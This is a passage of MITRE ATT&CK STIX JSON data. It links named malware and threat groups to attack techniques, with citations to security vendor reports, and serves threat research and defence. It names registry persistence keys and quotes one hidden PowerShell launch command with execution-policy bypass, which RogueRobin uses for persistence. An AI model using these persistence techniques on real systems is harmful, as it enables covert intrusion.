                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/",
                    "source_name": "Unit 42 NOKKI Sept 2018"
                }
            ],
            "description": "[NOKKI](https://attack.mitre.org/software/S0353) uses the Windows call SetWindowsHookEx and begins injecting it into every GUI process running on the victim's machine.(Citation: Unit 42 NOKKI Sept 2018)",
            "id": "relationship--e712d24e-0fdc-4ce3-96bf-939b7d4a9cd3",
            "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6",
            "type": "relationship",
            "modified": "2020-03-17T01:58:31.420Z",
            "created": "2019-01-30T19:50:46.744Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html",
                    "source_name": "Talos Konni May 2017"
                }
            ],
            "description": "[KONNI](https://attack.mitre.org/software/S0356) can collect the username from the victim\u2019s machine.(Citation: Talos Konni May 2017)",
            "id": "relationship--412c7c8b-4821-4f08-a3d2-2da034f8343f",
            "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2019-07-26T18:47:18.860Z",
            "created": "2019-01-31T00:36:40.962Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.",
                    "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html",
                    "source_name": "FireEye Hacking FIN4 Dec 2014"
                },
                {
                    "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street?  FIN4 Likely Playing the Market. Retrieved January 15, 2019.",
                    "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html",
                    "source_name": "FireEye Hacking FIN4 Video Dec 2014"
                }
            ],
            "description": "[FIN4](https://attack.mitre.org/groups/G0085) has presented victims with spoofed Windows Authentication prompts to collect their credentials.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)",
            "id": "relationship--a568a6a5-860b-4fe1-9f00-ab6fbbb41a26",
            "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d",
            "type": "relationship",
            "modified": "2019-04-18T20:19:49.223Z",
            "created": "2019-01-31T02:01:45.685Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 BadPatch Oct 2017",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/",
                    "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."
                }
            ],
            "description": "[BadPatch](https://attack.mitre.org/software/S0337) has a keylogging capability.(Citation: Unit 42 BadPatch Oct 2017)",
            "id": "relationship--626b1cb2-60a8-4077-913e-1ee4e788cec6",
            "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T16:00:09.825Z",
            "created": "2019-01-29T21:33:34.689Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Radware Micropsia July 2018",
                    "url": "https://blog.radware.com/security/2018/07/micropsia-malware/",
                    "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018."
                }
            ],
            "description": "[Micropsia](https://attack.mitre.org/software/S0339) executes an RAR tool to recursively archive files based on a predefined list of file extensions (*.xls, *.xlsx, *.csv, *.odt, *.doc, *.docx, *.ppt, *.pptx, *.pdf, *.mdb, *.accdb, *.accde, *.txt).(Citation: Radware Micropsia July 2018)",
            "id": "relationship--12c94395-26b4-46a5-bb10-dab19b5f1a30",
            "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "type": "relationship",
            "modified": "2019-04-17T22:05:05.827Z",
            "created": "2019-01-29T21:47:53.743Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/",
                    "source_name": "Unit42 Xbash Sept 2018"
                }
            ],
            "description": "[Xbash](https://attack.mitre.org/software/S0341) uses HTTP for C2 communications.(Citation: Unit42 Xbash Sept 2018)",
            "id": "relationship--06eac254-32a7-4e32-97b2-c46f79b4adb3",
            "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:50:14.997Z",
            "created": "2019-01-30T13:28:47.843Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) uses HTTP and HTTPS for C2 communications.(Citation: ESET GreyEnergy Oct 2018)",
            "id": "relationship--4905ffe6-8c52-48e2-90f1-ea1ad064fe16",
            "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:26:36.130Z",
            "created": "2019-01-30T13:53:14.947Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group",
                    "source_name": "Symantec Gallmaker Oct 2018"
                }
            ],
            "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) sent emails with malicious Microsoft Office documents attached.(Citation: Symantec Gallmaker Oct 2018)",
            "id": "relationship--fb0121a7-4ba2-4e6d-a12d-b7375581b943",
            "source_ref": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "type": "relationship",
            "modified": "2019-04-16T14:51:35.271Z",
            "created": "2019-01-30T14:26:43.179Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Oceansalt Oct 2018",
                    "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018."
                }
            ],
            "description": "[Seasalt](https://attack.mitre.org/software/S0345) creates a Registry entry to ensure infection after reboot under <code>HKLM\\Software\\Microsoft\\Windows\\currentVersion\\Run</code>.(Citation: McAfee Oceansalt Oct 2018)",
            "id": "relationship--b228cc3b-a428-42e4-b6f3-994fe790e329",
            "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-02-12T21:28:19.541Z",
            "created": "2019-01-30T15:27:06.665Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1 Appendix",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip"
                }
            ],
            "description": "[BISCUIT](https://attack.mitre.org/software/S0017) has a command to download a file from the C2 server.(Citation: Mandiant APT1 Appendix)",
            "id": "relationship--b0220134-2033-4261-9b1d-e94abd691476",
            "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-16T16:03:40.847Z",
            "created": "2019-01-30T15:38:21.390Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/",
                    "source_name": "PaloAlto CardinalRat Apr 2017"
                }
            ],
            "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) establishes Persistence by setting the  <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load</code> Registry key to point to its executable.(Citation: PaloAlto CardinalRat Apr 2017)",
            "id": "relationship--df05fecd-1eee-4139-8090-794a3310b478",
            "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-06-10T18:25:51.487Z",
            "created": "2019-01-30T16:39:54.280Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf",
                    "source_name": "ClearSky MuddyWater Nov 2018"
                }
            ],
            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can deobfuscate the main backdoor code.(Citation: ClearSky MuddyWater Nov 2018)",
            "id": "relationship--1477187e-7bd8-4622-8c2d-e5978c1fd29f",
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2019-04-22T22:36:52.935Z",
            "created": "2019-01-30T17:13:11.897Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/",
                    "source_name": "Securelist Darkhotel Aug 2015"
                },
                {
                    "source_name": "Microsoft DUBNIUM July 2016",
                    "url": "https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/",
                    "description": "Microsoft. (2016, July 14). Reverse engineering DUBNIUM \u2013 Stage 2 payload analysis . Retrieved March 31, 2021."
                }
            ],
            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has collected the IP address and network adapter information from the victim\u2019s machine.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM July 2016)",
            "id": "relationship--ba18af0c-8b4d-4be0-9b62-f29207856ea9",
            "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2021-04-05T20:52:47.471Z",
            "created": "2019-01-30T17:43:28.254Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Night Dragon",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf"
                }
            ],
            "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has dumped account hashes with [Carbanak](https://attack.mitre.org/groups/G0008) and cracked them with Cain & Abel.(Citation: McAfee Night Dragon)",
            "id": "relationship--3ba4ec9e-24eb-4255-aae7-f314f1176335",
            "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011",
            "type": "relationship",
            "modified": "2020-03-25T16:05:52.154Z",
            "created": "2019-01-30T18:02:59.285Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
                    "source_name": "Unit42 Cannon Nov 2018"
                }
            ],
            "description": "[Cannon](https://attack.mitre.org/software/S0351) can obtain victim drive information as well as a list of folders in C:\\Program Files.(Citation: Unit42 Cannon Nov 2018)",
            "id": "relationship--b3c69087-f989-4f93-924a-0d6df6c75315",
            "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-04-22T19:48:08.910Z",
            "created": "2019-01-30T18:58:04.056Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/",
                    "source_name": "Unit 42 NOKKI Sept 2018"
                }
            ],
            "description": "[NOKKI](https://attack.mitre.org/software/S0353) uses a unique, custom de-obfuscation technique.(Citation: Unit 42 NOKKI Sept 2018)",
            "id": "relationship--be07fb4e-06db-4bb0-a1e0-23f34b24a97f",
            "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2020-03-17T01:58:31.473Z",
            "created": "2019-01-30T19:50:46.679Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/",
                    "source_name": "Unit 42 Nokki Oct 2018"
                }
            ],
            "description": "[Final1stspy](https://attack.mitre.org/software/S0355) creates a Registry Run key to establish persistence.(Citation: Unit 42 Nokki Oct 2018)",
            "id": "relationship--11471266-5136-4cd8-a1ef-d847f33ab6de",
            "source_ref": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-17T01:19:36.983Z",
            "created": "2019-01-31T00:23:06.386Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--41354e6e-8250-43f9-864a-80c05dfb4443",
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b",
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "source_name": "US-CERT APT Energy Oct 2017"
                },
                {
                    "source_name": "Core Security Impacket",
                    "description": "Core Security. (n.d.). Impacket. Retrieved November 2, 2017.",
                    "url": "https://www.coresecurity.com/corelabs-research/open-source-tools/impacket"
                }
            ],
            "description": "(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)(Citation: Core Security Impacket)",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.665Z",
            "created": "2019-01-31T01:41:58.450Z"
        },
        {
            "id": "relationship--e3909a5f-ebfb-48e1-b0fc-5737217a994b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DownPaper](https://attack.mitre.org/software/S0186) uses PowerShell for execution.(Citation: ClearSky Charming Kitten Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ClearSky Charming Kitten Dec 2017",
                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"
                }
            ],
            "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2020-03-17T00:54:56.928Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--8d976244-6d4e-443a-98c0-52fe1d94c388",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[hcdLoader](https://attack.mitre.org/software/S0071) installs itself as a service for persistence.(Citation: Dell Lateral Movement)(Citation: ThreatStream Evasion Analysis)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell Lateral Movement",
                    "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.",
                    "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/"
                },
                {
                    "source_name": "ThreatStream Evasion Analysis",
                    "description": "Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.",
                    "url": "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop"
                }
            ],
            "source_ref": "malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2020-03-30T18:36:37.860Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e1614b27-52c5-41e5-bbcb-ab08a9a5e85c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HARDRAIN](https://attack.mitre.org/software/S0246) opens the Windows Firewall to modify incoming connections.(Citation: US-CERT HARDRAIN March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT HARDRAIN March 2018",
                    "description": "US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf"
                }
            ],
            "source_ref": "malware--bd0536d7-b081-43ae-a773-cfb057c5b988",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b",
            "type": "relationship",
            "modified": "2020-03-28T00:56:20.621Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4e9c5234-65e9-4b4a-bc13-891e7aed84b2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Shamoon](https://attack.mitre.org/software/S0140) creates a new service named \u201cntssrv\u201d to execute the payload. Newer versions create the \"MaintenaceSrv\" and \"hdv_725x\" services.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "source_name": "Palo Alto Shamoon Nov 2016"
                },
                {
                    "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/",
                    "source_name": "Unit 42 Shamoon3 2018"
                }
            ],
            "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2020-05-29T18:11:23.520Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b8e6bb17-9652-464d-8e5d-bd21e1f69a2e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TEXTMATE](https://attack.mitre.org/software/S0146) executes cmd.exe to provide a reverse shell to adversaries.(Citation: FireEye FIN7 March 2017)(Citation: Cisco DNSMessenger March 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye FIN7 March 2017",
                    "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html"
                },
                {
                    "source_name": "Cisco DNSMessenger March 2017",
                    "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.",
                    "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html"
                }
            ],
            "source_ref": "malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T22:00:00.190Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9f0f23ed-644d-44f5-bee9-c3f44f04a6d8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) can obtain passwords from common FTP clients.(Citation: GitHub QuasarRAT)(Citation: Volexity Patchwork June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/quasar/QuasarRAT",
                    "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.",
                    "source_name": "GitHub QuasarRAT"
                },
                {
                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
                    "source_name": "Volexity Patchwork June 2018"
                }
            ],
            "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0",
            "type": "relationship",
            "modified": "2020-03-20T00:10:31.146Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b91e06c1-9546-4184-9552-ba501bf9182e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ipconfig](https://attack.mitre.org/software/S0100) can be used to display adapter configuration on Windows systems, including information for TCP/IP, DNS, and DHCP.",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0"
        },
        {
            "id": "relationship--e58abef6-2089-4f55-b5ee-9fc24378b52f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RogueRobin](https://attack.mitre.org/software/S0270) uses a command prompt to run a PowerShell script from Excel.(Citation: Unit 42 DarkHydrus July 2018) To assist in establishing persistence, [RogueRobin](https://attack.mitre.org/software/S0270) creates <code>%APPDATA%\\OneDrive.bat</code> and saves the following string to it:<code>powershell.exe -WindowStyle Hidden -exec bypass -File \u201c%APPDATA%\\OneDrive.ps1\u201d</code>.(Citation: Unit42 DarkHydrus Jan 2019)(Citation: Unit 42 DarkHydrus July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "source_name": "Unit 42 DarkHydrus July 2018"
                },
                {
                    "source_name": "Unit42 DarkHydrus Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/",
                    "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/",
